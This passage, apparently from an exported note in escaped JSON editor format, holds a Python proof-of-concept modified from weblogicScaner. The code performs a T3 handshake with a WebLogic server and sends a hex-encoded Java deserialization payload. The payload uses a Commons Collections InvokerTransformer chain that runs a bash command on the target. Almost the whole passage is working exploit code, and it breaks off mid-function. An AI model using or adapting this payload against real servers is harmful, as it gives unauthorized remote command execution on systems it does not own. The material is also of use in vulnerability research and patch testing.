var1.writeInt(var5.length);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X6i0-1673853200644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cWTi-1673853200643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.write(var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cBwA-1673853206095&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8yTQ-1673853206094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TPXU-1673857206454&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5128/WEBRESOURCE9a155c70e68681db13913fdda5f25fa0&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZSSX-1673857211444&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5129/WEBRESOURCE54e0206892d95c807ed25d22df1d5a82&#34;,&#34;width&#34;:2316,&#34;height&#34;:1498},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JwxJ-1673853898579&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vOa0-1673853898580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;为方便调试稍微改了一下weblogicScaner的poc&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jD5c-1673853898578&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;stxt-1673853898577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0Y3W-1673853811210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iBfb-1673857235108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KNP5-1673857235107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;up2D-1673857235110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2dOf-1673857235109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2MYW-1673857235112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sJvZ-1673857235111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I7jU-1673857235114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EQxc-1673857235113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import time&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9TUz-1673857235116&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HCaQ-1673857235115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from multiprocessing.managers import SyncManager&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h9Nt-1673857235118&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CJnK-1673857235117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from typing import Any, Dict, List, Mapping, Tuple, Union&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uz8w-1673857235120&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j2LK-1673857235119&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kRWo-1673857235122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AL36-1673857235121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from stars import target_type, Star&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Dkh-1673857235124&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2X3i-1673857235123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GLMX-1673857235138&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kS9G-1673857235137&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -&gt; (bool, dict):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qx1o-1673857235140&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yhZ0-1673857235139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # T3协议握手&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1rRN-1673857235144&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I18i-1673857235143&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        dport = int(dport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r4Q7-1673857235146&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7H49-1673857235145&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nvwm-1673857235148&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q0Pi-1673857235147&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.settimeout(timeout)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j5rx-1673857235151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gfin-1673857235150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LR6M-1673857235153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YPsb-1673857235152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.connect((dip, dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;va15-1673857235155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EIyC-1673857235154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UvrC-1673857235157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tx1d-1673857235156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FwUl-1673857235159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9g6i-1673857235158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except ConnectionRefusedError:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Amd-1673857235161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jjGd-1673857235160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection refuse.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nG7x-1673857235163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oTq1-1673857235162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sNRl-1673857235165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b98G-1673857235164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a&#39;))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qzuv-1673857235167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GKaE-1673857235166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kAYk-1673857235169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iWi4-1673857235168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QP8Z-1673857235171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Zyh-1673857235170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vMQb-1673857235173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2dmY-1673857235172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # 构造T3协议头&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9t5o-1673857235175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1KG3-1673857235174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data1 = &#39;000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vnyA-1673857235177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dv3W-1673857235176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data2 = &#39;007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07&#39;.format(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tbYv-1673857235179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9wqC-1673857235178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;{:04x}&#39;.format(dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfLR-1673857235181&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;icRo-1673857235180&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data3 = &#39;1a7727000d3234322e323134&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jlw6-1673857235183&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5s5B-1673857235182&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data4 = &#39;2e312e32353461863d1d0000000078&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bMHw-1673857235185&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QzcO-1673857235184&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for d in [data1, data2, data3, data4]:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dQih-1673857235187&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GXnZ-1673857235186&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.send(bytes.fromhex(d))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w8yK-1673857235189&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RrfD-1673857235188&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DUU1-1673857235191&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nniU-1673857235190&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;04UU-1673857512271&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yxNQ-1673857512269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # -------- 经StreamMessageImpl封装的反序列化利用链payload --------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BDax-1673857397817&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZgQK-1673857397816&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nn0a-1673857235199&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kKku-1673857235198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yUpm-1673857514790&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AyuY-1673857514788&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # ------------------------------------------------------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gtsb-1673857460936&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qET4-1673857460934&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K77i-1673857235201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JwTs-1673857235200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;%s%s&#39; % (&#39;{:08x}&#39;.format(len(payload) // 2 + 4), payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wij5-1673857235203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bLQx-1673857235202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(payload))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EsgX-1673857235205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aDOx-1673857235204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kjsw-1673857235207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wkpC-1673857235206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gett-1673857235209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;twNr-1673857235208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            res = sock.recv(4096)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8HG2-1673857235211&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IrBc-1673857235210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            